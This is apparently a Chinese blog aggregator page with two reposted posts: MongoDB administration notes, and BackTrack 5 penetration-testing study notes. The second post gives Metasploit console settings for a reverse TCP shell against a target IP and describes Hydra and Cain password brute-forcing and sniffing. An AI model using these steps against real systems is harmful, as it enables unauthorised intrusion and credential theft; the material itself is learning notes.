权限 绑定内网IP访问MongoDB服务 在启动的时候带上 –bind_ip 192.168.1.1 参数,可以使指定IP访问。 mongod --bind_ip 192.168.1.1 连接时必须指定IP,否则会失败。 mongo 192.168.1.1 用户 MongoDB中默认有一个空的admin数据库,在admin.system.users中保存的用户比其他数据库中设置的权限更大。在admin.system.users中没有添加任何用户的情况下,鸡屎在MongoDB启动时启用了 –auth 参数,客户端不进行任何认证依然可以连接到数据库,并且可以对数据库进行任何操作。 建立系统root用户 使用addUser()函数添加一个root用户。 建立指定权限的用户 使用addUser()函数为test库添加了一个只读权限的用户,设置只读只需要在addUser()函数中传入第3个参数值为true。 执行指定文件中的内容 text.js的内容是 var count = db.yyd.count(); printjson('count if yyd is : ' + count); 查看活动进程 db.currentOp(); 结束进程 db,killOp(opid号) serverStatus 获取运行中的MongoDB服务器统计信息。 db.runCommand({"serverStatus":1}); mongostat 便捷的查看serverStatus的结果。 导出 导入 备份 恢复 fsync和锁 fsync命令会强制服务器将所有缓冲区写入磁盘。还可以选择上锁阻止对数据库的进一步写入,直到释放锁为止。 db,runCommand({"fsync":1,"lock":1}); 上锁之后便可以不用停掉服务器,也不用牺牲备份的实施特性,只是会导致写入操作暂时被阻塞。 本文转自我爱物联网博客园博客,原文链接:http://www.cnblogs.com/yydcdut/p/3558446.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

Back Track 5 之 漏洞攻击 &amp;&amp; 密码攻击 &amp;&amp; Windows下渗透工具

网络漏洞攻击工具 Metasploit 先msfupdate升级: 然后选择msfconsole: 接下来: set LHOST 本机IP地址 setLPORT 4445 setg PAYLOAD windows/shell/reverse_tcp setg RHOST 目标IP地址 setg port 21 set target 随意数字 exploit 这样就可以反弹一个cmd shell了。 密码破解 Hydra 多samba,smb,ssh,smtp,telnet,mysql,ftp,vnc,icq,socks5,pcnfs,cisco等各类主流服务进行在线密码破解攻击尝试攻击。 字典破解,Protocol中有很多,主要是之前扫描出来的端口开放情况来进行的。 Windows下渗透工具介绍 maltegoCE DNS收集。 IBM Rational AppScan 自动化web应用的安全漏洞评估工作,能扫描和检测所以常见的web应用安全漏洞,例如SQL注入、跨站点脚本攻击、缓冲区溢出以及最新的FLASH/FLEX应用和Web2.0应用暴露等方面安全漏洞扫描。 SmartWhois 查找所以关于IP地址、主机名或者域名的可用信息,包括国家、州或省、沉城市、网络供应方、网络管理员和技术支持信息。 Sam Spade 如果一个黑客想查询一个有域名的公司的某些信息,通常可以对该域名执行whois命令来找到附加信息。UNIX的大多数版本都装有whois,所以黑客只需要在终端窗口或者命令提示前输入“whois 要攻击的域名”就可以了。而对于windows的操作系统,要执行whois命令就需要一个第三方的工具:sam spade。 Cain 可以破解屏保、PWL密码、共享密码、缓存口令、远程共享口令、SMB口令、支持VNC口令解码、Cisco Type-7口令解码、Base64口令解码、SQL Server 7.0/2000口令解码、Remote Desktop口令解码、Access Database口令解码、Cisco PIX Firewall口令解码、Cisco MD5解码、NTLM Session Security口令解码、IKE Aggressive Mode Pre-Shared Keys口令解码等综合工具,还可以远程破解,可以挂字典以及暴力破解,其sniffer功能极其强大,几乎可以明文捕获一切帐号口令,包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys authentications等 FOCA Free 可以找出更多有关分析网站提供的任何文件的元数据。 Nessus 前面讲到过。= = Nmap – Zenmap GUI 一个网络扫描程序,你还可以用它来看别人电脑在下载什么。 Metasploit Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,密码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。 Firefox Portable 火狐的插件。 获取的知识 再次感谢《back track 5 从入门到精通 ——渗透之道》这本书。 这本书算是边学习边操作边记录边分享的完成了,但是BT5里面还有很多工具,以后我会主要分享里面很实用很实用的工具。 希望学习完这本书能够BT5基本入个门,在打开每个工具的时候,都会有帮助,太棒了~~~其实可以直接看帮助的,但是全是英文,虽然我个人觉得我的英文还不错。 本文转自我爱物联网博客园博客,原文链接:http://www.cnblogs.com/yydcdut/p/3491302.html,如需转载请自行联系原作者

资源下载

更多资源
优质分享App

优质分享App

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册
修改密码
忘记密码